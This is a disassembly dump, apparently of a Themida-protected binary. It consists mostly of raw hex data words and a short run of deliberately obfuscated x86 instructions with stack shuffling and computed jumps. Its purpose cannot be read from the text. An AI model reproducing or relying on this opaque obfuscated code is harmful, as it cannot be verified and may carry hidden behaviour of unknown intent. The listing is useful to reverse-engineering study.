dd 7A08243Ch, 6000001h, 350017C7h, 0F4B3639Ch, 9F6C3720h
dd 0CEE6B37Eh, 172C2BEBh, 3F2CE86Dh, 198B8F9h, 0CAB7BEDBh
dd 0B9D1C691h, 4A0A43DCh, 0B45354Dh, 26DB0198h, 0A2F7A20Dh
dd 198265Ch, 0D252CDBh, 0F025450Dh, 5A9CE3h, 5F810000h
dd 0D6659E9Dh, 391F37DAh, 0D8C51106h, 70073D83h, 60DD359h
dd 619AEFEEh, 3027F3B4h, 0AC779865h, 0A2D7C7DFh, 0A8DB0176h
dd 124CD6A1h, 2DDB0176h, 3225F730h, 67AD9A67h, 0DB017631h
dd 0FD183037h, 0FBACE692h, 0C275E3FFh, 5A000000h, 9122E038h
dd 2E16D0C7h, 91778FA5h, 0DA1056ABh, 0E0D35970h, 7091C70Dh
dd 9097D359h, 0A274576Fh, 0AE6DEAB5h, 706197DDh, 0B067D359h
dd 5421ECEBh, 0CA471233h, 0AB440F08h, 6B19A572h, 1394336Eh
dd 3C09D4F5h, 86914124h, 0F54B7B71h, 6C2ED358h, 0ABAC566Bh
dd 0E3297E6Bh, 0D358F5ADh, 649AE0B3h, 6AD358F5h, 2B2A4263h
dd 0DEF99DD6h, 0A32CD6C6h, 2B32DB03h, 4156053Eh, 8790432Ch
dd 9CCB108Fh, 0AC8419F4h, 859h, 0F2433E4h, 4C617626h, 8DA2B563h
dd 0CCE1F6A4h, 122730E3h, 3DE0C504h, 7D1C051Ah, 0BF5C455Ah
dd 0F89A8398h, 4BEACADFh, 0AA4ECF05h, 8D3BD5CBh, 0EE0314C7h
dd 2D425505h, 17C741h, 1C3BDA13h, 8F6C8451h, 0F5A74012h
dd 4F706732h, 0B21F412Eh, 78D77ABFh, 0B5F92038h, 280h
dd 0C51106F7h, 0BC1AB6D8h, 46B3E5E2h, 0C1E92F2Eh, 88DB0858h
dd 0BF8A8D4Fh, 131ADAF2h, 145AAF48h, 0DB0858DEh, 0D5C5DDE4h
dd 0DB08589Bh, 0D797B9B6h, 9F779F5Bh, 3AA5C0D8h, 0F943C48Eh
dd 51013AE3h, 10122E46h, 10000002h, 597087BAh, 68ACA9D3h
dd 8605357Bh, 40BDB08h, 1B3CDE17h, 95330C2Eh, 0E12380FBh
dd 19B9A2C9h, 789A33FEh, 7EA556DDh, 23C7DF39h, 0A0F5E232h
dd 0C2A0B767h, 0DB08C88Ch, 1F38DB92h, 79668754h, 8C7FD33h
dd 0E4FC03DBh, 0F2029FE5h, 108E2B0h, 61785C09h, 2C0499FCh
dd 759h, 0F2433E4h, 4C617626h, 8DA2B563h, 0CCE1F6A4h, 122730E3h
dd 3DE0C504h, 7D1C051Ah, 0BF5C455Ah, 0F89A8398h, 4BEACADFh
dd 0AA4DCF05h, 8D3BD5CBh, 5B7D89ABh, 1C8A6B45h, 253D5E79h
dd 0BC879042h, 0AD789F3Fh, 0B964CFE8h, 686F2B64h, 0BCF2D09Dh
dd 9FD35919h, 262DDBFCh, 6C6B2B0Eh, 0B7FD5257h, 0D3591981h
dd 0EAAF8087h, 9DD5D5EDh, 641BA856h, 13Fh, 17C762h, 0F1E6B835h
dd 0F12532DCh, 987DBE04h, 7C83DB01h, 9186568Fh, 0D8129C79h
dd 0F3DB0198h, 4F18BDF6h, 51698A8Dh, 6B1FCB36h, 0AEE3F025h
dd 43h, 1056ABACh, 0D35970DAh, 696E29E0h, 8B8C3048h, 0E7095E4Bh
dd 7087940h, 357B6809h, 0D35896FFh, 0F6E6FE05h, 0DB009DC1h
dd 6BF5C0C7h, 0DB009D31h, 1CC8334Ch, 0E3F0D256h, 0CFC88FC8h
dd 909BB7h, 0C7990000h, 8B8C5017h, 73229F6Ah, 27F2E5B4h
dd 0F1276D5Ah, 0F7D3596Fh, 8704CFF0h, 78F5C0D7h, 979CB1A6h
dd 234D5B75h, 3F103AAFh, 0E7B47F98h, 43BFDFCFh, 0F0A2D359h
dd 2F28D2E7h, 0AB4FAE7h, 10DB03F1h, 30E31C09h, 6A291227h
dd 79D2756Dh, 6E03F49Ch, 61896h, 0E5F2A300h, 2235E7D0h
dd 6374240Dh, 0A6B1654Eh, 0E2F5A891h, 9B0ABFCDh, 0E1CADFF8h
dd 230C2136h, 634C6176h, 0AF8FA4B3h, 4B94CA10h, 9ACBAAh
dd 314C752h, 425505EEh, 17C7412Dh, 25F11300h, 355DEDB4h
dd 51104BEh, 0D7EB76D9h, 1049E2BFh, 0B5824D4Ah, 0FF18BA9Dh
dd 1C3BD912h, 3999DD04h, 0C2000000h, 3CEC989h, 0CD034936h
dd 0D3D3587Ah, 0C7CEB4CCh, 0B8350017h, 0A926F1E6h, 7F983CEBh
dd 4616935Eh, 37328651h, 4A45EDCCh, 898E50DFh, 0A4B3639Ch
dd 1221658Ch, 63000000h, 350017C7h, 597072ABh, 42AD54D3h
dd 0DFF4E3B3h, 8689ABF3h, 0D9084E2Ch, 6BE20AD0h, 0E0AADB1h
dd 0A44313F6h, 0F4BFE0F7h, 8875A1B6h, 7AF1E42h, 301D24DBh
dd 29727F7h, 0AE31CA46h, 4B847192h, 4006F38Bh, 1D81BCCEh
dd 0D4BDE4FCh, 0C4A1502h, 0BCDECB0Bh, 6FB55C20h, 0DB07EB39h
dd 567E383Fh, 0A09FB75Fh, 0B7038B5Ah, 9D8A91E2h, 90A5B264h
dd 3B26698Bh, 4D02ECEEh, 97805235h, 4D898ECCh, 0C2991A60h
dd 989FEA5Eh, 33A8E3A0h, 734BE0E4h, 4E9h, 9FB4A374h, 0DCF1E6B6h
dd 1D3225F3h, 5C716634h, 0A2B7A073h, 0AD703594h, 0EDAC95AAh
dd 2FECD5EAh, 682A1328h, 0DB7A5A6Fh, 0AA4A5F95h, 1DCB65CBh
dd 0B7A072ABh, 0FD1ABC9Fh, 6C5FFFE8h, 596FF026h, 1EEFF6D3h
dd 0C08D587Fh, 0E63BD49Fh, 11EFE8ADh, 0D35970DBh, 92C80EE1h
dd 98D35970h, 75587091h, 405702A5h, 0BC87A875h, 5FA5FAF7h
dd 0D3597029h, 0F510282Fh, 0A35BFB8Ah, 0F61F0B57h, 0D186577Ch
dd 0D2EFBC6h
dd 64B8F2F8h, 3D811BA8h, 7F000000h, 0D8C51106h, 0C5DDFA9Fh
dd 0BE9380C6h, 9299DB01h, 0A8AF6CA5h, 0BE659D93h, 9648DB01h
dd 0F93F9481h, 0DB01BEC3h, 21F1C2C9h, 869E6B36h, 77215A5Fh
dd 0B0654860h, 1E04DCA7h, 46000004h, 966717C7h, 75C35E3Ah
dd 36926E8Bh, 67882327h, 9D4C396h, 0D3501B3Ch, 0FAFF1403h
dd 370215C1h, 0A9AE526Ah, 0C5E806Dh, 0FDE5D411h, 0DA2F2E46h
dd 8C093F85h, 80FD358h, 0B4BF00F0h, 0BEC5DB00h, 0B42F69F3h
dd 314ADB00h, 0B7F91BC6h, 0B7047FADh, 54D4D65h, 0DCE3FFD6h
dd 20h, 0C51106DAh, 765D92D8h, 5C63DB01h, 76CD0791h, 0CFE8DB01h
dd 0FBF2B864h, 0DF47E3FFh, 45000000h, 350017C7h, 0CB01479Ch
dd 0D1D35970h, 0CCFB2CAh, 13C3400Bh, 1ABC3904h, 0A2F2E8FDh
dd 69D35975h, 0A06B6C30h, 6D8BBD3h, 4313FC11h, 0D9126754h
dd 824F1A3Dh, 59756EA4h, 928551D3h, 454CFAC7h, 512502Dh
dd 319EE4D1h, 37DB0184h, 0E4711B30h, 9DBED980h, 0C2395BB0h
dd 0CEFA8A0Dh, 0A353435Bh, 0A9E2AD0Dh, 0D28423F2h, 71B7A4C5h
dd 0E2AD0D3Bh, 2C193A41h, 0DEF99ED7h, 4B2E4613h, 757A8F88h
dd 7BD3F53h, 0C2DA7B79h, 231B3CDFh, 0FC656054h, 0A6840D5h
dd 95000003h, 0D5BED3C4h, 12FB1007h, 533C5146h, 927B9087h
dd 0B1BFD4C3h, 0C9CE8D18h, 0B0CCBB4h, 4F480DF6h, 9681513Ah
dd 0BC02A181h, 0CBAA4886h, 0C744F28Ch, 0DD160314h, 0ED531E39h
dd 0A7388F70h, 0CFE70852h, 0F81FBFA8h, 1106F7E3h, 5D92D8C5h
dd 24DB0176h, 632E29EBh, 0B7BE7E96h, 762862ECh, 2A43DB01h
dd 0FB5F13BFh, 0B9A2E3FFh, 0A0000000h, 350017C7h, 27F2E5B8h
dd 59754D9Dh, 696E30D3h, 46164F54h, 84563951h, 8D8AC893h
dd 0A9165C49h, 70DB0184h, 849FD51Bh, 9EA5DB01h, 0D2BFC686h
dd 0A0A3D8B0h, 0DF997038h, 0F57E89B6h, 173E56E5h, 0DC7CE86Dh
dd 223F0BBh, 21C0CF15h, 0BFC6E2ACh, 0DDFA99D2h, 0F7E0B7F0h
dd 2C725F2Ch, 0E2AC20F6h, 0B6DDF5FCh, 11090ECDh, 0FC64495Ch
dd 2A5C34C9h, 0B5000002h, 0F5DEF3E4h, 321B3027h, 735C7166h
dd 0B29BB0A7h, 0D1DFF4E3h, 0E9EEADF8h, 2B2CEBD4h, 6F682D16h
dd 0B6A1715Ah, 0DC22C1A1h, 0CBAA47A6h, 0C76412ACh, 5EE0314h
dd 282D4255h, 0D2A32106h, 5B1502h, 63496194h, 350017C7h
dd 0CB01479Ch, 0D1D35970h, 3C5D7A1Ah, 0D3950B82h, 1896B7h
dd 6D5A7D1Dh, 0AA756234h, 0B59EC5DDh, 0E927F2E5h, 66BBA86Ch
dd 24C55C44h, 0B19E053Dh, 5894356Bh, 1C343BD3h, 0C6232Ch
dd 0A07229DBh, 0FE1FECB7h, 0A00BB833h, 0F3A64111h, 2B4C19E4h
dd 76BC1116h, 0DB00C640h, 83273F46h, 0F554292h, 0E2A8E182h
dd 4F481049h, 1AC07737h, 9411DCFDh, 647325C2h, 7D1D5643h
dd 4EA186C1h, 0B8D9FA78h, 746FC3A0h, 785CB909h, 9BE1368Bh
dd 0E2A88965h, 5C4C646Bh, 0EA50A3CFh, 86BC02D5h, 8CEA50A3h
dd 664F6485h, 61B6A3B4h, 50A3E51Bh, 0A79DFEAh, 7A5E1941h
dd 0D0ADC5CCh, 0A4918653h, 0EDD3094Fh, 0D2D9EA50h, 0B562DDBAh
dd 0FC1BBB4Ah, 63D83DE7h, 0A4887AC0h, 613405A9h, 0BDDEAB76h
dd 96427BD0h, 0F11205D1h, 9F5926h, 0BB9BC80Dh, 0EBF4E4FCh
dd 0F1F1F97Ch, 64861FEAh, 2D55D24h, 892C5B15h, 18457BC1h
dd 444BF1FAh, 92855223h, 0D0C7977Ah, 12488EE3h, 18F1FA18h
dd 0A11CF911h, 0DC3989F4h, 0BCC50BF8h, 0C2F9A24Ah, 1BFCA6BBh
dd 814C4B0Bh, 4B81C7B4h, 51F9A24Ah, 0F63C294Ah, 1516023h
dd 1AA47229h, 673BA973h, 86A7C88Bh, 2BE922BBh, 0EDB8DF7Ch
dd 6734FF20h, 0FDAA6C4Fh, 0A16E395Eh, 3F0A0DD0h, 533C5172h
dd 2334E483h, 7D6A8B58h, 8EA5C65Bh, 0C4DC517Bh, 462C4EE7h
dd 5F95DB2Eh, 650150BDh, 34A3A45Eh, 0E6FCEC04h, 0F24216C6h
dd 513ADA13h, 16C7D50Bh, 0B3D4DB42h, 8615809Bh, 564113D4h
dd 67372035h, 0DDFE19C0h, 0D6C19512h, 78E3900Bh, 412E29E9h
dd 0C770A6ECh, 0BF764216h, 1FD9FA1Dh, 8297DACFh, 0A4CBE3B8h
dd 0FFC1BBBh, 150F4DEDh, 51DF8BCh, 35028h, 0DC920000h
dd 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 48683CF4h
dd 89000025h
; ---------------------------------------------------------------------------
xor al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push edi
push 55213D15h
pop edi
neg edi
shl edi, 7
push edx
mov edx, 68CE6354h
xor edi, edx
pop edx
mov ebx, edi
pop edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
sub esp, 4
mov [esp], ebx
add dword ptr [esp], 50E24882h
pop dword ptr [eax+8]
sub dword ptr [eax+8], 50E24882h
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_58941B
; ---------------------------------------------------------------------------
db 29h
dd 0A046E324h, 77A80216h
db 8Ch, 0B9h, 0C5h
; ---------------------------------------------------------------------------
loc_5F4067: ; CODE XREF: Themida_:loc_5F2A8Ej
mov eax, 7AF2B61h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 4DE1922Eh, 1659BCBFh, 76F06076h, 4D9D71AAh, 1000F007h
dd 65E924CAh, 309AF6A1h, 24989EE2h, 2CBD8D8Dh, 8D8907AFh
dd 7A81731h, 19BD8960h, 8B07A824h, 0A831459Dh, 85C76107h
dd 7A80A59h, 6E78h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 89C35343h, 0E2816626h, 958920BAh, 7A814CDh
dd 93985C7h, 7A8h, 85030000h, 7A827E1h, 1479B5FFh, 6A07A8h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 2A6B89C3h, 1E219D8Bh, 95FF07A8h, 7A81A99h, 6AF3BF0Fh
dd 2195FF00h, 8B07A80Dh, 626CEBC0h, 9E657Fh, 3B4A3F70h
dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 70B35397h, 74B201C8h
dd 0AB09FE53h, 0A71414D3h, 175D23C6h, 0A115614Eh, 8876EDBBh
dd 0FE855B3Ch, 3CB9F54Bh, 221F6C1Ah, 0B7F1080Ah, 0C16F4817h
dd 0C8219241h, 42EC0518h, 0BC1AEC7Dh, 0DAA80F3Ch, 0C42D2356h
dd 653726E5h, 0B85B71C6h, 93A0E9DCh, 559CBD83h, 0E87EE1A7h
dd 9, 43999E7Ch, 8CBBFAEBh, 0FABF0F3Dh, 3AC2815Ah, 8B00006Bh
dd 1AAB68F3h, 0BE660000h, 605B7B96h, 0E55B589h, 8D2907A8h
dd 7A83379h, 8B0A8B61h, 0A82F49B5h, 2F18107h, 892E4738h
dd 0A810AD8Dh, 8BC18107h, 516C2774h, 815830B0h, 469B61C1h
dd 0F0A8947h, 0D8Ch, 0D8BF6000h, 8B3DF218h, 0A81E2185h
dd 0EA836107h, 4B5F5304h, 0FFBB850Fh, 14E8FFFFh, 4C000000h
dd 0E9B87E7Eh, 5760074h, 2CCDBDBAh, 9E531410h, 89A8FA26h
dd 0A82A2D9Dh, 6E85807h, 5E000000h, 0F7C603ADh, 59C28BBBh
dd 10CD9D8Bh, 0C18107A8h, 72B3h, 0BE9h, 13AF4200h, 0C56A6452h
dd 7A964A70h, 68h, 218D8900h, 5E07A82Dh, 14359D8Bh, 3C8B07A8h
dd 0B9958B31h, 8107A822h, 0E7D55CF7h, 81666032h, 8B2290EEh
dd 0A82C9185h, 0EF816107h, 33D1BA77h, 0EF81A2B2h, 5FF58EB0h
dd 2821BD29h, 3C8907A8h, 85E48031h, 6E9h, 9CD72500h, 832C7077h
dd 958B04EEh, 7A817FDh, 8DDCFE81h, 850FFFFFh, 0FFFFFFAAh
dd 101DB589h, 2AE907A8h, 0CE000000h, 6DE79Fh, 9 dup(0)
dd 4E3E900h, 99680000h, 0E907AF2Fh, 0FFF95117h, 0AF300468h
dd 510DE907h, 0A468FFF9h, 0E907AF31h, 0FFF95103h, 3B504718h
dd 80958252h, 0C1D6C197h, 1502D8h, 3E534417h, 490C9930h
dd 8950394Eh, 0CB90798Eh, 0CCEB7CCh, 7716F60Bh, 0AA41FB31h
dd 0B96701CBh, 380314C7h, 0E7FC1BBBh, 0FFCD83Dh, 199DCC9h
dd 0AC6AA3DBh, 0CCD393ABh, 993D7701h, 7E20DB01h, 9911478Dh
dd 1017DB01h, 0F7A724EFh, 97E15E0h, 0D26BF9Eh, 0D6BCF6A2h
dd 69A2E3FFh, 13E0ABACh, 321DFFBh, 0ABDD0000h, 70DA1056h
dd 1DBDD359h, 0B4622FFAh, 80AE95ADh, 3EDC48CDh, 60814E19h
dd 0EA0B5173h, 27CAC6D3h, 0A9CA100Fh, 0AFDB015Fh, 0E944380Fh
dd 946E282Fh, 0ABD4F507h, 65FD1CDDh, 0FDD93ED8h, 1625CA10h
dd 242BE00Eh, 709EC059h, 1CA3817h, 0E66F132Bh, 0A0FB412Eh
dd 0A6E7B5CCh, 0D979B29Fh, 814C4B0Eh, 957E93B4h, 5CDAD2C5h
dd 5BE76ACAh, 31DEEC6h, 6D2E0000h, 0A86C556Ah, 0E7B19AAFh
dd 24F2DBF0h, 66351E33h, 7B4E5C71h, 576C6B2Ah, 97ACAB6Eh
dd 0D9EEE9AEh, 14292EF0h, 194F9534h, 1FCBAA41h, 1106D785h
dd 0BE92D8C5h, 0C4DB089Eh, 0C497D0BDh, 4B91E6D3h, 0DB089E15h
dd 0D5FC141Bh, 412E29ECh, 7857B01Fh, 0F81049AFh, 0D856911Bh
dd 9939DB08h, 0F6D2867Eh, 48DDF499h, 2B270h, 512C300h
dd 425507F0h, 8394442Dh, 0C6D1856Eh, 215C8B1h, 0BBEADFEDh
dd 1EAFF18h, 432C4156h, 836C8196h, 0CFAFC4D3h, 40B4EA30h
dd 20BACBAAh, 0F9110672h, 59707DB3h, 0AB7C83D3h, 0E0CDEEE9h
dd 5FFD368Bh, 0C2A06D38h, 0D359708Ch, 589E8B92h, 0D3597022h
dd 19092128h, 0DB089F45h, 0FC32784Bh, 2DB089Eh, 6D8E894Bh
dd 0C6E8814Ch, 0E7F5B22Dh, 40304817h, 0DB08A606h, 5D282FE9h
dd 541F38E0h, 0B08FFA0Bh, 0E793FE17h, 0E3F737A3h, 1B276h
dd 17C77400h, 0E6B83500h, 2532DCF1h, 63849341h, 97EF3076h
dd 61B6DB01h, 198E51Bh, 0CCE4EBDBh, 0BDF3390Ch, 0C3DB0199h
dd 2A2DEBBCh, 83A53E09h, 0FBB320EBh, 144A9099h, 1ADB0228h
dd 0EADAF213h, 0DB0228B0h, 9B47B2CBh, 0E3F0B5D7h, 312Ah
dd 11062800h, 5D92D8C5h, 24DB0176h, 0A3FE0E02h, 18C275Dh
dd 6C262DDBh, 6A82B021h, 4ED8A3AAh, 0DB023F14h, 0FFAB162Fh
dd 0E3FF304Bh, 0EC8Eh, 17C78C00h, 0F5912D67h, 3BDDF92Ch
dd 0FDAFB1Ch, 7E993D76h, 0EBCEE6B3h, 9422F28h, 59364E49h
dd 0FA69EC0h, 0EC268B6Eh, 8621F1D4h, 28F5C0D7h, 7FC51A07h
dd 0D358B549h, 5330484Fh, 0FE1304D6h, 58BAAC08h, 0C8CF8FD3h
dd 0A4086DBh, 10D358BAh, 20CAF109h, 9DF2DF37h, 58BA2157h
dd 82027D3h, 6819C309h, 4C1FDB03h, 368D006h, 0BD03D6DBh
dd 0DB036887h, 4465868Dh, 587F1E57h, 7463326Bh, 894C355Ch
dd 66EC968Eh, 56EBF49Fh, 1127Eh, 65722300h, 0A2B56750h
dd 0E3F4A48Dh, 2631E5CEh, 62752811h, 1B8A3F4Dh, 614A5F78h
dd 0A38CA1B6h, 0E3CCE1F6h, 2F0F2433h, 3F144A90h, 801ACBAAh
dd 2389ABD2h, 2022EB32h, 0A64A9EAh, 0CE5F6D50h, 1700D3B6h
dd 0AE791902h, 0DAC7E8EFh, 6236F1A1h, 21675475h, 0D358EDEBh
dd 0ABD2EAF1h, 5F89ABBFh, 577B2715h, 494E0BDCh, 8B8C4E31h
dd 849343C0h, 9DBA5E97h, 0C6ED05D2h, 0EEDB3B1Ch, 134BBA8h
dd 4D0AC1DBh, 56027F4Ah, 12FF2041h, 81D3AD9h, 134D812h
dd 0FC1BBBDBh, 385FFEE7h, 71956Dh, 6D70000h, 83D8C511h
dd 0BD888F4Ah, 10E8D8F0h, 16DB089Fh, 17C7440Fh, 5002EB00h
dd 0E7F27C47h, 0F345514Bh, 1A3DDB14h, 0ED7CE702h, 10152A2Dh
dd 182250EEh, 1F37A4D6h, 0B27D9A3Ch, 89766135h, 33B8EE34h
dd 0B7BE4551h, 9A47C29Fh, 0D9FEA02Fh, 0F3E4B3ECh, 1C435B28h
dd 87746333h, 33B6EC32h, 0FB994551h, 964411DCh, 0C29A778Fh
dd 3, 0C73EDC04h, 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh
dd 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h
dd 705668h, 24248900h, 4BA52h, 54010000h, 515A0424h, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 8952240Ch, 4C281E2h, 83000000h
dd 148704EAh, 1C895C24h, 0C3685024h, 8B152434h, 0C4812404h
dd 4, 3505E8C1h, 7060F09h, 5458C189h, 81241C8Bh, 4C4h
dd 74956800h, 14890000h, 8BA24h, 0DA010000h, 0FF5A0A89h
dd 815B2434h, 4C4h, 240C8B00h, 5E08950h, 4, 8704C083h
dd 0E95C2404h, 0FFF94C47h, 0DC3DF5E7h, 4331367Ch, 32DBB883h
dd 0C50307AFh, 0AC3FE0FFh, 0FE680B78h, 42336BDFh, 53A12393h
dd 95E94690h, 277352D1h, 7BC97DF0h, 4CB815D6h, 0EB8A121Fh
dd 52C519CAh, 385003F9h, 577E0A01h, 699A1B81h, 0F2353521h
dd 0B80134h, 87E66344h, 0D2F961D4h, 0A420187Ch, 68F16623h
dd 335F6C8Ah, 0FF0900E6h, 8E3A5726h, 0DC7B1FBFh, 0ED275F45h
dd 0C8866353h, 8D8D4EE0h, 7AF34F5h, 28B0Fh, 5E530000h
dd 17318D89h, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 7DD5FBC3h, 9D316695h, 7A818FDh
dd 0A5985C7h, 5F8807A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 93D529C3h, 0FABF0F66h
dd 93985C7h, 7A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 83EC34C3h, 0FD7B70Fh
dd 48Bh, 5BBE6600h, 0DDB5FF9Ah, 6A07A805h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5880C352h
dd 2D76F864h, 10E844B9h, 5C000000h, 8F744E00h, 89AB2F01h
dd 4FAC5988h, 8B01CD30h, 95FF5BC1h, 7A81A99h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B4C35646h, 0F2E02A5Eh
dd 6AA08A25h, 7D9D3129h, 6A07A829h, 2195FF00h, 8B07A80Dh
dd 5269EBC0h, 95F5CF99h, 0AFB16B2Eh, 61EDFC08h, 0B4A57A7Ah
dd 0A88248D4h, 1894DDF7h, 0D6D36D31h, 5FA69FB9h, 24A71294h
dd 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h, 47105587h
dd 3AE37819h, 0AD59BB3Dh, 0CCA54284h, 1E53946Eh, 23B21610h
dd 0CFC68B29h, 944CFD58h, 243CA389h, 34342E54h, 32BCD0CAh
dd 0CFB7333h, 59212533h, 11E8h, 36E1500h, 50B99139h, 0A0FB47C2h
dd 526818B5h, 0DE9373Bh, 52000000h, 0B53D64BBh, 9504693h
dd 0EF4D69E5h, 91B58B5Fh, 8107A803h, 6805C7h, 798D8B00h
dd 3307A80Ch, 11E9DBh, 0EC1B0000h, 1747AEF8h, 2CE024D8h
dd 0F4B37755h, 0FFBFBF2Dh, 0B70F3B34h, 81FC5AC2h, 243ECCF2h
dd 0FBE6B806h, 0F2815A40h, 48EEA1BCh, 3399BD89h, 0EA8107A8h
dd 3CF803EEh, 1F1489F9h, 259DBD89h, 8D2907A8h, 7A829B1h
dd 8902EB83h, 0A825099Dh, 814B4B07h, 0FF98B8FBh, 17850FFFh
dd 8B000000h, 0A82F3DB5h, 1CE907h, 9B860000h, 0D945477Ch
dd 43ACADB1h, 98E9ACCCh, 0BBFFFFFFh, 7A4EEEE8h, 0A6855351h
dd 0CE86A05h, 0F6000000h, 0AE92BCB0h, 45E71A59h, 1203339h
dd 0A834A9B5h, 9D8B5F07h, 7A826E9h, 618EC781h, 0D9810000h
dd 7B6738A2h, 183568h, 81665600h, 5965E1DEh, 0C6815Ah
dd 8B086939h, 0FB8B6007h, 0CE9h, 0C4C50600h, 0F4F167BDh
dd 236D813Bh, 0F0816112h, 5FA8C1DDh, 81CEBF0Fh, 427ECEC0h
dd 9D035777h, 7A8181Dh, 1EC0815Bh, 6642ADFDh, 8B50C88Bh
dd 0A82D618Dh, 83078F07h, 0B58B04EFh, 7A82531h, 0F01EA83h
dd 1A85h, 0ED8D8B00h, 0E907A832h, 29h, 0CB0113B4h, 19466A47h
dd 88DC0969h, 2B19C9D2h, 0A830B59Dh, 0FF89E907h, 8F80FFFFh
dd 0FABE6B5Dh, 5AF5F210h, 94885E62h, 7E845h, 894B0000h
dd 0ABF5ED68h, 46C181FFh, 5A156CC1h, 0AE8h, 49670500h
dd 52F3A68Bh, 898DB984h, 0A80355BDh, 0C2815F07h, 5AB1h
dd 21758531h, 11B807A8h, 8108601Eh, 9FF86FC0h, 328BF8F7h
dd 0A59D8Bh, 0F68107A8h, 6E8945C8h, 7A5BD8Bh, 0F68107A8h
dd 53091C8Dh, 1887B966h, 30F0EE81h, 95314547h, 7A81D2Dh
dd 0F606056h, 8Eh, 42EC8000h, 0FE861h, 79DD0000h, 3DEBECFCh
dd 0BE217022h, 0C3E95150h, 0C2BF0FE8h, 28F6158h, 9C00BB66h
dd 8902EA83h, 0A821FD8Dh, 574A4A07h, 1A558D29h, 815907A8h
dd 1E8h, 8B850F00h, 66FFFFFFh, 0E8E6F1B9h, 0Dh, 0E33F9F08h
dd 0FA6BF9F3h, 0C8D35F3Bh, 0F5BA66EAh, 0B70F58CBh, 0F1C081D8h
dd 0E8000060h, 14h, 0B716DFBAh, 2FFF222h, 8AFB2137h, 60A5AE26h
dd 0A237BD94h, 6840Fh, 0BD890000h, 7A82AB5h, 180EBE5Bh
dd 81660000h, 8B48B9D3h, 5FB3BB38h, 0C7817B3Bh, 3B3853D6h
dd 0D252BB66h, 0CF34EF81h, 8B663DD7h, 7CC781D9h, 0B121CF29h
dd 0BB3889D4h, 5FE1983h, 4802E883h, 0B9BD8948h, 4E07A81Ah
dd 1F850Fh, 8B0F0000h, 3, 0E9D18B66h, 29h, 75C87411h, 0A639DE57h
dd 0EC63E001h, 8F448180h, 25B58951h, 0E907A833h, 0FFFFFF9Bh
dd 8C50A3BDh, 38D76180h, 71A32C26h, 83C08B6Eh, 0A827F9BDh
dd 9750007h, 605BD83h, 740007A8h, 8B535019h, 421B8C0h
dd 85890000h, 7A82585h, 0B0239D8Dh, 0D3FF07AAh, 0BD83585Bh
dd 7A80605h, 50177400h, 421B853h, 85890000h, 7A82585h
dd 0AD129D8Dh, 0D3FF07AAh, 0C08B585Bh, 26819D8Bh, 85C607A8h
dd 7A80619h, 0B8526856h, 0B5FF9CA8h, 7A80CE1h, 781A858Dh
dd 0D0FF07ABh, 68046Ah, 0FF000010h, 0A82A89B5h, 0FF006A07h
dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 7A871FBh, 0C88BE1FFh
dd 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch, 0A8105DBDh
dd 840F0007h, 0Eh, 105D9D8Bh, 858B07A8h, 7A833ADh, 52510389h
dd 7B1B858Dh, 0D0FF07A8h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h
dd 7A80619h, 6D396856h, 0B5FFD41Fh, 7A80CE1h, 781A858Dh
dd 0D0FF07ABh, 800068h, 52006A00h, 0C08BD0FFh, 27F9BD83h
dd 750007A8h, 5BD8309h, 7A806h, 53501974h, 21B8C08Bh, 89000004h
dd 0A80ECD85h, 8A9D8D07h, 0FF07AAB0h, 83585BD3h, 0A80605BDh
dd 17740007h, 21B85350h, 89000004h, 0A80ECD85h, 2B9D8D07h
dd 0FF07AAADh, 8B585BD3h, 5D9D8DC0h, 8B07A810h, 0FC00B03h
dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 5E800h, 88FE0000h
dd 0F64FE34h, 1B84h, 5E566000h, 11E8h, 7F410400h, 93FF09CAh
dd 93381AF0h, 0FA2E225Bh, 6159A2E0h, 0DCD78158h, 817043C8h
dd 0DB7AC0h, 0E9F86000h, 0Dh, 92654B8Eh, 90A1689Dh, 0E411EC62h
dd 0DB2B611Dh, 7E9h, 11604800h, 0A9CDE8F0h, 600334FFh
dd 8716BE66h, 2880Fh, 96B30000h, 13E85961h, 43000000h
dd 5C881676h, 5C2F9C2Fh, 903DE104h, 0EB6C86EEh, 0EA81F4BDh
dd 6F565ADCh, 0F6C1815Ah, 0F931C51Ch, 570CC181h, 0E9812A51h
dd 542815Ch, 0AE8h, 0C2C4B400h, 50A51B3h, 0F85D8986h, 8C0F515Eh
dd 3, 8FF3BF0Fh, 0EA811804h, 65616FF2h, 1772F4BAh, 3EB8370h
dd 2850Fh, 0BEB60000h, 70FB814Bh, 0FFFFF25h, 0FFFF7B85h
dd 0D860FFFh, 0E8000000h, 6, 994D9BFDh, 5EF9E250h, 3BA68D8Dh
dd 9D8907AFh, 7A81E49h, 17318D89h, 0DE807A8h, 0D9000000h
